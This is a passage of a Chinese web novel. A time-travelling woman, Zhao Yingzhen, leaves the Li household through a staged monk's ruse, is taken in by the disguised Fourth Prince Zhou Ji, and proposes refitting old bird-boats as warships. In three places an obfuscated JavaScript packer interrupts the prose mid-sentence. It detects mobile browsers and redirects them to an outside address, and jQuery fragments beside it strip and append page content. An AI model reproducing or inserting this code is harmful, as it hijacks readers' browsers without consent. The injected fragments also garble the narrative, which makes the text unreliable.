素心一听,慌了,“不要!我还打算给小姐养老送终呢。”她说完,才明白赵莹真的意思,后知后觉,笑起来,“小姐的意思是,老爷夫人不会知道?” 赵莹真不说话,素心刚刚手抖,眉描歪了,用手帕擦去,又抹了点口脂,才道: “管他们知道或是不知道?拿出底气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163379|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,若是别人一诈就心慌意乱,即使无辜也能把罪扣到你头上。”赵莹真点了点素心的额头,“你给我听好了,待会无论发生什么,你就做好你本分的事,再急也不准跳出来。” “是。”素心一脸生死相随的样子,又把赵莹真逗笑了。 进了正厅,赵莹真十分惊讶,在座五人,她仅仅认识三个人,分别是: 李知府,李夫人和周冀。 至于另外两个,一个和李知府五分相似,另一个更好辨认,是个和尚。 周冀坐在李知府身边,见到她,如从不相识。 上回见李夫人,赵莹真便知晓此人礼佛,珠串昂贵,满身檀香,一路阿弥陀佛,如今是带了个和尚召见她? 那周冀又为何出现在此处? “见过父亲、母亲。”她福身。 李夫人哼一声,不言语,反倒是那与李知府五分相似的人开了口:“这就是新过门的弟妹?” 赵莹真这才明确了此人的身份,乃是李府嫡长子李益。 “见过大哥。” “今日来,主要是想询问弟妹当日一事,都说弟弟是暴毙,可这么多年我们家对他的照顾无微不至,怎么可能发生如此突然的事情,因此,今日来是找你询问原因。” 赵莹真默然点头,待李益话音一落,便如影后般落下两滴珠泪。 “那日……夫君匆匆推门而入,按礼制应先饮合卺酒,但夫君、夫君他……” 脸红了。 在场人都明白,李裘一个呆傻的疯子怎么可能按规矩办事,当然是用下半身思考。 不好亵渎死者。 “好了!”李夫人打断赵莹真的话,“利夫你没必要追问这小贱蹄子!一定是她使了什么下流招数,才让,让我儿年纪轻轻就没了!” 她说着说着也哭了,但还是坚持把话说完:“你说的那个建议我不同意!若是她再克了你该怎么办?元空大师说得对,她就是个灾星!” 看来这和尚法号元空。 赵莹真一头雾水,但低着头不敢抬,什么建议?什么灾星? 她听不懂,也就不敢动弹。 “巡按大人……”李知府的声音响起,“难得您让我们与元空大人结缘,这件事我们当局者迷,您怎么看?” “依我看,”懒洋洋的声音横插入悲伤的氛围,显得有些违和,“这新妇刚过门便克死丈夫,实在是不详之兆,若再续给李公子,后患无穷,不如让她主动和离,再给点银两让她生存,既能彰显李府气度,又能摆脱灾患。” 敢情今日这场局是周冀摆的? 叫元空的和尚双手合十,在一旁应和:“慈悲为怀,广结善缘。” 李夫人抹泪:“就这么便宜她了?我儿真的太冤枉!” 李知府也愁白头,无可奈何:“裘儿已去,把这灾星给送走才是正事啊。” 赵莹真算是看明白了,她正愁没办法离开李家,没想到有个机会送上门来,当即道歉,顺着周冀的话说:“小女愿意写和离书,往老爷夫人放我一条生路……” 像是做梦一般,赵莹真当天便领着素心和一百两银子出了李府,走出去没两百米,便听身后有人叫住: “且慢。” 回头一看,一架紫檀马车床边,一只修长的手抬起窗帘。 10. 好久不见 “小姐,那边的人……叫的是我们?” 赵莹真的确不懂周冀究竟是何时掺和进明州宅院里的风波,当她走到窗户下,就见那俊美的青年撩起帘子,悠悠瞥她一眼。 “好久不见,赵小姐。” 如果好久是指几天。 赵莹真不动声色,施施然行了个礼:“秦公子。” “我不姓秦。”周冀盯着赵莹真的发簪,“你也不必装,那天的煨牛肉,炖得很是香浓呢。”他故意暴露给赵莹真他巡按的身份,却见对方置若罔闻。 赵莹真仍是没什么表情地垂着头,内心已经兵荒马乱。 “食牛肉犯禁,秦公子还是低调为好。” “赵小姐对待你的救命恩人,就这么冷淡?” 赵莹真这下抬起头,勾着唇:“不知秦公子是说元空和尚一事,还是给李益续妾一事?小女目光短浅,平白被人污了名誉又与知府和离,劝秦公子离我远点才是。” 周冀气极反笑,“看来你这人是真的心思深沉又忘恩负义,早知你如此,不如让你成了李益的刀下魂。” 赵莹真心思一动,看来不止她对李裘犯过的罪行产生怀疑,任何一个见过李裘样子的人都很难把他和恶魔联系在一起,这知府里怕是另有隐情。 若真如周冀所说,怕是凶手就是刚刚面相和蔼的李益。 “接下来你去哪?已经从赵家嫁出去,又被李府赶出来,你一个弱女子,怕是无处可去吧。” 周冀落井下石的声音打断赵莹真的思绪。 赵莹真乍一听,不太舒服,按照她原本的计划,从李家出来,就该让赵承邦把她安排到鸟船维修铺子去住,又能瞒着赵家上下,又能开始她的改造计划,简直完美。 但周冀都这么说,不逗逗对方,实在是不符合赵莹真睚眦必报的个性。 “那可不,小女现在无家可归,长海又是雪灾,想必秦公子一定送佛送到西……咳咳!”赵莹真一装病就咳嗽,还在周冀面前咳得天崩地裂,下一秒就要晕倒似的,连素心也有眼色地演起来:“小姐!小姐!你没事吧……呜呜,小姐您可千万别病倒!” 主仆俩就这么在周冀的马车前拉扯,幸亏雪越下越大,街上行人少,不然实在是有碍观。 周冀被赵莹真的厚脸皮燥得满头黑线。 “我尚未婚配,又怎能、怎能收留你一个刚和离的新妇?” “浮白!” 他唤一声,前头便有车夫应和。 赵莹真斜眼偷看,一惊,这不就是刚刚那位元空和尚? 原来从头到尾就是周冀的一出戏。 究竟谁不要脸?扮假和尚传假道义。 “待会儿给她五百两银票,送她们去最好的客栈住着。” “是。” 赵莹真一听五百两银票,也顾不得鄙视周冀,一下便被哄得喜笑颜开:“谢谢秦公子!” “说了我不是秦公子。”周冀还想接着诈她,“上车。” 有车不坐是傻子,赵莹真讲条件:“我与素心情同姐妹……” “小姐我跟着就好!”素心怎敢和官人同车,连连摆手。 周冀见不得赵莹真一副得寸进尺的样子,却还是一咬牙,“一起上来吧。” 赵莹真就这么薅了潜在金主的五百两银票和豪华酒店住宿,打算美滋滋素心住进明州天宝楼的顶级上房。 素心先下车,赵莹真躬身往外走的时候,周冀突然拉了一下她的手腕,又收回去。 赵莹真回头。 “赵小姐。”周冀似笑非笑,“天寒,为了防止伤风感冒,记得多喝点麻黄汤。” 赵莹真一瞬间就明白,周冀全都知道了。 “你想如何?”赵莹真彻底冷下脸,做出防备的样子。 “不如何。”周冀也严肃起来,“把你救出来,又好生安置你,自然希望你能有点用处。” “巡按大人希望我做什么?” 不叫他秦公子,也不问他名讳。 周冀果然没有她想得这么无聊,赵莹真思索。 “暂时没想到,只是明州这地界我人生地不熟,赵小姐却能把这信送到我手上,手段实在高明,想必之后托赵小姐办事,也能顺利许多。” 周冀手里一扬赵莹真亲笔写的那些信,赵莹真睁大眼睛,内心长叹——全是误会。 她写那些,本意是借受害者的舆论造势,底层人目不识丁,谁能把冤屈写明?如果不让更多文人知道李裘的罪行,那么若她真的被揭穿,怕是只会死得不明白。 谁知道竟然能送到周冀手中? 真是一场乌龙。 赵莹真本想硬着头皮解释一番,但转念一想,这不正好是替周冀做事,拉近距离的好机会? 她微微一笑:“既然如此,我的确不愿白承您的恩情,若他日有需要,随时找我便是。” 能不能做成……另说。 下了车,即使冰天雪地里的空气也比温暖奢华的车厢内轻松新鲜百倍,看着那架紫檀马车渐渐远去,赵莹真的脸色恢复暖意。 周冀……真人和她过去想象的样子,完全不同。 “小姐,这地方的装潢比赵府还好呢!”素心替她背着行囊,四处打量天宝楼的内饰。 走在他们前面的店小二回头笑:“您有所不知,天宝楼是整个明州最豪华的酒楼,是京城首富秦家建的呢。” 赵莹真摸着镀金的栏杆和白玉楼梯,轻摇头,秦家的富裕程度真是超乎她的想象。 坐在上房的窗边,眺望整个明州,白雪皑皑,远处的海洋灰白,隐没入地平线,赵莹真撑着头,思考下一步。 如今她既没权也没钱,唯一的好处是获得自由身。 能够为她所用的,暂时只有赵承邦手下的那间鸟船铺子。 “素心,拿我的笔来。” 她要给赵承邦写封信。 另一边,靠在车窗上沉思的周冀摩挲着腰间佩玉,在驶向秦家别馆的路上越想越不对劲。 “回去!” 眼见着已经走到别馆门口。 他叫住钟浮白,“回天宝楼!” 紫檀马车调转车头,朝来时路走。 素心拿着信出门,刚好和之前给她们带路的店小二迎面碰上。 “姑娘这是要去哪?” “你们这儿可能帮忙送信?这封信送给赵家船业的三公子赵承邦。” “姑娘交给我就好,今日就能送去。” 素心点点头,把信递过去,刚转身,身后微风拂过,脖颈一疼,就晕过去。 赵莹真背对着门坐着,之前只来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163380|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得及画些流水线的工作台设计图,但究竟怎么把鸟船改造成适合打仗的小型福船她还没有成熟的想法。 下意识画了条鸟船,出于工作习惯标了各个零部件的用材和她打听到的价格,还在核算成本,就听见身后传来推门声。 “素心,”她没回头,“给我倒杯茶水,然后过来磨墨。” 身后无人回应。 赵莹真转过身,就见刚刚引路的店小二朝她迅速走来。 赵莹真睁大眼,迅速站起身。 砰—— 当着赵莹真的面,距离她一步之遥的店小二脑袋一歪,倒在地上。 周冀站在她面前,还微微喘着气。 “你没事吧?” “发生什么了?” 异口同声。 赵莹真一头雾水。 周冀摇摇头,“恐怕是李益看你落单,又要把你绑回去。” 门口,钟浮白背着昏过去的素心:“殿下,接下来该怎么办?” “这里不能久待。” 赵莹真看到晕过去的素心,头皮一紧,从钟浮白身上接过:“她是被打晕的?” “嗯。”周冀环视包厢一周,看见桌面上有几张船只的示意图,低头打量一眼,随后视线盯住,眼底闪过锐利的光 赵莹真把人抱到床上,给素心擦了把脸:“严重吗?” “再过会就该醒了。”接话的是站在门口的钟浮白。 周冀闻言,笑了。 赵莹真摸了摸素心颈侧泛红的地方,放下心来。 “这是你画的?” 周冀拾起桌上的草纸。 “你怎么会懂船?” 赵莹真脸色微动,“从小耳濡目染,自然懂一点。” “既然如此,依你看,赵家的船如何?” 赵莹真瞥他一眼,“称得上明州之最。” 周冀还在认真看那张图纸:“的确是奸诈之最,你图上造价合计不过一百两,用的材料还是最上乘,你的几个好哥哥却收了我三倍有余的价格。” 真是不会做生意。 赵莹真起身,想把图纸夺回:“小女不过随手一画,怎能和哥哥们相提并论?” 周冀猛然攥住赵莹真的手腕,把人拉近。 “如果我没看错,你把水密隔舱的图示也画出来了?” 距离近到能感受到对方热切的呼吸,赵莹真把头撇向一边,挣动手臂,“放开!” “回答我。” 不再用逗弄野兔的戏谑声音,一种来自上位者的威压笼罩在空气里。 赵莹真抿着唇,“是又如何?无非是从小看了工人们做活,略知皮毛而已。” “浮白,让人把她们带回秦家。” 周冀把赵莹真的手放开,那几张图纸始终攥在手里,他走出门,钟浮白便走进来,冲她点点头:“失礼了。” 所以和李益有什么差别? 当赵莹真再次睁开眼,躺在秦家别院的客房里,无语地想。 素心走进来,见她醒了,眼睛还红着:“小姐,我看来白把秦公子当好人!那个姓钟的车夫说,秦公子让您醒了过去找他。” 赵莹真揉揉她的脑袋,“无妨。” 本来就要接近的人,如今是送上门来的机会,何乐不为? 11. 下一目标 出了自己的院子,才知秦家别院究竟有多大。 近处潺潺流水,即使是偏院屋子依然雕梁画栋,金碧辉煌,眺望远处,竟有亭台楼阁影影绰绰,别院似乎占地足有百亩。 而这仅仅是秦家在明州的住处,仅供族人走南闯北,全国各地不知还有多少。 那个叫钟浮白的车夫,嗯,或许不是车夫,而是周冀的近卫,就等在门口。 “姑娘,请跟属下来。” 已嫁人的女人,竟然还会被称为姑娘,对于上辈子已经三十五的赵莹真来说,被人叫做姑娘是件挺稀奇的事情,闻言真心微笑一会。 穿过深深庭院,走了足有一柱香的时间,才绕到周冀的住处。 宽肩窄腰,挺拔如松的男人正在树下练剑。 若不是回过头来的是张不苟言笑的脸,怕是能让赵莹真感慨一句,好风光。 周冀扫了一眼跟在赵莹真身后的两人,合上剑,反手用剑柄点了点赵莹真。 “你单独进来。” 说罢,转身往屋内走去。 素心有点慌,下意识跟过去,被钟浮白挡下。 “没事。”赵莹真回头微微一笑。 进入屋内,周冀坐在软塌上,亲手给赵莹真倒了杯茶。 赵莹真迟疑地站在那,不知该站该坐。 “怕有毒就别喝。”他把茶推过去,“坐下说。” 两人对坐在矮桌边,赵莹真抿了口茶。 明前龙井,而且是上好的品,前世她就好茶,此刻不由感慨:“好茶。” “这一带特产,以为你出身赵家,已经喝惯了。” “不受宠的孩子,即使万贯家财,又能享受多少福泽?”茶汤请透,余味回甘,赵莹真将茶水一饮而尽。 “可我看来,你对赵家仍忠心耿耿。”周冀替她满上。 “与其说衷心耿耿,不如说有所图谋。” 周冀对这句话挺感兴趣,“谋那么一间鸟船维修铺子?”他拿出赵莹真打算送出去的信。 赵莹真失笑:“这怎么也到你那去了?” 周冀不答,她却顿时想明白,“的确该谢你,若是被李益知道我和赵承邦的事,局面怕是更麻烦。” 她解释:“我大哥和二哥如今都把宝押注在你的订单上,我无非是趁着这个间隙拿一间维修铺子,算不上贪婪。” “据我所知,沿海闭关后,渔民都开始变卖鸟船,如今明州雪灾,鸟船的生意更是难做,小的船业已经放弃这块业务,你让赵承邦接下这烂摊子,没有别的想法?” 赵莹真皱眉,听出周冀的言外之意:“你认为,我下一个目标是赵承邦,并且只是用这间铺子陷害他?” “你不需辩解。”看来周冀是一口咬定了。 赵莹真无奈摇头,大胆地与周冀对视,“我没那么蠢。” “没了这间铺子,赵承邦照样能当他的芝麻官,而我呢,弃妇一个,无依无靠,又能如何?” 周冀盯着赵莹真。 门没关,院子里的雪下得更大,簌簌声响,落在那双圆润又澄澈的眼睛里,凝成一片平静深邃的湖。 “你……” “其实,我的下一个目标,是你。” 他们对视,没人躲开对方的视线。 赵莹真是装镇定,周冀是真镇定。 “你想怎么对我,我可对麻黄腌制的牛肉不感兴趣。” 周冀发现自己既不意外,也没有任何被冒犯的情绪。 他竟然觉得,有一点开心? 好像捡到了一个不自量力的新玩具。 “你的那笔订单,我也想争取。” 赵莹真最终还是转开了视线,表明野心的时候尽力稳住语气。 和前世在谈判桌上谈下的几十亿的单子感受完全不同。 在古代,一切都十分野蛮,没有下属从旁做严谨的分析查证,没有高管的沟通拉扯,有的只是皇权在上,黎民在下,任人挑选。 她如今一无所有,去谈一个足以改变一方商业天地的大单,实在是有些贪心不足蛇吞象。可是说出来,对于这件事本身其实并没有任何损失。 赵莹真干惯以小搏大的事情,脸皮厚比城墙,此刻无非是听候发落。 “怎么争取?凭你那几张图纸?” 周冀没有讽刺或者拒绝她,是赵莹真颇感意外的事情。 “本来把你放到身边,也是看重你会认船的技能,不过你连水密隔舱的图纸都能画出,的确是意外之喜。” 赵莹真欲开口,被周冀抬手打断。 “那笔订单,无论你是否会和赵家透底,我都可以告诉你,我已决心不会交给赵家。” 赵莹真皱起眉,这难道意味着,即使是赵承邦也没有任何机会? “但是你的人,必须在我身边。” 说完,感觉氛围有些奇怪,周冀解释道:“我需要你替我分辨别的船业是否有能力承接这笔订单。” “如今,你的命在我手上,把你送到大狱还是李家折磨,或者弃置不顾,都是我一句话的事情。” 很霸道啊。 周冀这么一说,赵莹真倒是兴奋起来。 “现在我可以说话了吗?” 对面的少女似乎一瞬间变得明媚。 周冀脸色有些僵硬,他的本意是恐吓恐吓对方,让对方不敢在他手下造次。 怎么适得其反了? “想说什么?订单的事……赵家我都不放心,更何况你只有个快废了的维修铺?” “如果是受到赵承邦的指示游说我,那就更没必要了。” 赵莹真突然觉得周冀纸老虎的样子特别可爱,趴在桌子上笑起来。 “要是不放心我,何苦把我救出来?” “还……找人扮假和尚,哈哈。” 周冀被这么一笑,的确有些脸红,“你,你别不识好歹!” 假和尚那是谁都能干的么? 钟浮白也很辛苦好么? “不敢不敢!”赵莹真摆摆手,笑得岔气,“大人您要是找好了厂家,就提着我去看看情况。” 她甚至伸手做了个提拉的动作,把周冀都逗笑了。 “你到底想怎么样,真的想用一间维修铺子接我几十万两订单啊,做梦也做不了这么大吧。” 赵莹真止住笑容,眼睛眯起,露出精明的样子,“你有几十万两白银买船么?” 笑容凝结在周冀嘴角。 “四皇子殿下,买船的预算,怕是十万两白银顶天的水平吧。” 周冀彻底严肃下来。 你拿我一点把柄,我也揭你一点老底。 “你如何知道我的身份?”他拇指一拨,剑便从剑鞘滑出一截。 当然是因为,我几千年后在画像上见过你。 “姓随母族,冀乃希从,又是巡按身份,所以我猜,你是四皇子。”赵莹真信口胡诹。 周冀自然不信,却也不追究。 “你又为何说我预算不足?” “按道理几十万的大单,父亲不会让大哥二哥拿来练手,我猜测,他是从什么地方知道你实际的底子,因此才派大哥二哥来接待你。” 周冀也对被怠慢一事耿耿于怀,但的确没有想到赵莹真这一层。 赵家以前并非没有承接过皇家的订单,哪一次不是毕恭毕敬,怎么到他这就一副无所谓的态度? 除了知道他没有那么多钱外,很有可能有能够压过周冀的人在背后指使。 周冀和赵莹真此刻都想到了这点。 谁不想让他顺利拿船? 周冀脑海里闪过几张面孔。 “即使,你的预算充足。” 赵莹真托着腮思索:“但我想,你也希望能省则省吧。” “福船用于打仗,谁会嫌打仗用的钱少?若是都给了造船,粮草、募兵、医药这些开销怎么办?” “你说我只有一间维修铺子,”赵莹真微微一笑,“但我就是要用这间铺子来跟你谈判。” 周冀神色一凛。 “鸟船的结构和福船相近,都有水密隔舱,能抗沉,如今各处的鸟船被贱卖,虽然大部分破旧,但是改造成能搭载火炮的小福船并不困难,成本也比从外地运新料子来做福船更低。” 赵莹真观察周冀的眼色:“最关键的是,我有办法能够减少人工的成本。” “减少人工成本?”周冀不可置信,“如今雪灾,人工比往日更昂贵不说,光是取暖费等杂费也不可小觑,莫非你想克扣?” 赵莹真翘着嘴摇摇头。 “不如,明日你随我去那间铺子走走,看看我说的究竟是真是假?” “好。” 第二天,赵莹真与周冀带着钟浮白,三人一同前往维修铺。 鸟船维修铺设置在江海交汇的沉积处,如今已被坚冰覆盖,走到还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163381|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一段距离,马车无法继续驶入,赵莹真与周冀只能下车步行。 钟浮白撑了把伞,照例要给女眷打,却被周冀反手推开。 “不用,由她带路,我来就好。” 于是钟浮白退居二人身后,跟随赵莹真和周冀一路向沉积滩深处走去。 赵莹真前世穿惯了高科技的运动鞋,如今穿着深闺女孩穿的布鞋,刚踩到冰面便滑了一跤。 “小心!” 周冀单手撑伞,因此看见她往边上栽倒的一瞬,下意识伸手去拦她的腰。 赵莹真只觉得一只有力的手臂突然箍住自己的腰肢,下一秒后背便紧紧贴在一个温暖坚实的怀抱里。 “你……” “没事吧?” 周冀没有放手。 赵莹真感到自己的脸颊一阵发烫,寒风袭来,一会凉一会热,内心生出煎熬感,她推了一把周冀的肩膀:“可以了,我能站稳,放我下来。” 周冀依言松手,谁知脚下依然是光滑凸起的冰面,赵莹真刚从周冀的身边解脱,下一秒又往后滑了一跤。 “啊!” 那只手臂再次收紧,赵莹真的头顶传来颇为无奈的声音:“你不会是故意的吧?” 赵莹真刚想顶嘴,复又听他说:“你别挣扎,这一整块都是冰面,我把你抱过去。” 抱? 古代不都是男女授受不亲吗? 赵莹真感觉一股热气从自己的脸颊蔓延到耳朵尖。 然而周冀“抱”的方式和她想得完全不同。 对方一只手紧紧圈着她的腰,让赵莹真双腿离地,脑袋靠在温热宽阔的胸膛前,另一只手稳稳地撑这伞,不让风雪落在两个人的肩头,就这么一深一浅往鸟船铺子走。 被迫感受这个人的力量。 手臂温暖可靠。 赵莹真悄悄打量周冀,对方面色平淡,目视前方,深邃的轮廓和分明的棱角,彰显来自上位者的稳重与底气。 画像体现的帅气真是不如真人的十分之一啊。 不禁感慨。 “你在看什么?” 那双冷淡的眼睛突然垂下,与赵莹真对视,来了一个大方的抓包。 看来早就察觉到了。 “没……没事!” 看你眼角有枚眼屎。 赵莹真偷笑,但不敢真的捉弄他。 “哼。” 周冀收回视线,给赵莹真留了个向上微弯的唇角。 远远见到几个草屋,走到有荒草的地方,周冀才把赵莹真放下,一放下,赵莹真火速拉开了十米的距离。 周冀的唇角放平。 “就是这边,两位大人随我来吧。” 刚一入门,就见一个老翁闻声而来。 “各位前来赵家的铺子,是有什么事情?” 赵莹真拿出赵承邦的亲笔信,对方才放行。 “这就是你说的,和我谈判的筹码?” 他们走进维修铺的仓库。 周冀觉得自己的眼角抽搐了一番,目之所及,除了一片又一片废弃鸟船堆叠的料子,就是零零散散的工具。 就靠着一仓库废料,造船?打仗? 周冀不可置信。 “你如此捉弄我,真不怕我拿你试问?” 赵莹真内心也是一阵无语,之前写信让赵承邦派人去清扫整理鸟船铺子,为的就是在未来让客商们信任这个铺子的主人有能力且能细致地把鸟船工作做好。 结果呢? 赵承邦真的是一无是处的废柴。 管不了那么多,赵莹真叹口气,转了一圈后指了一条还算完整的废船,请钟浮白和周冀二人拖到空地上。 她点了几个位置,桅杆,隔舱和船舷,告诉周冀与福船缩小版共通的特点,顺便一提自己的想法:“船舷处可以架设火炮,虽然门数少于福船,但胜在机动灵活。” 灵活。 这两个字让周冀内心触动。 都说海寇无耻,因为他们没有强大的物力造出福船这样的庞然大物,因此只能在普通渔船的基础上改造战船,虽然火力不如昭朝官方,但作战策略灵活,因此也获得过不少胜利。 “你说得容易,那么,改造这些破木板,怎么能减少成本?” 赵莹真微微一笑。 她往里走,尘封的工作台上,放着一张U型微缩木台。 这便是流水线的雏形。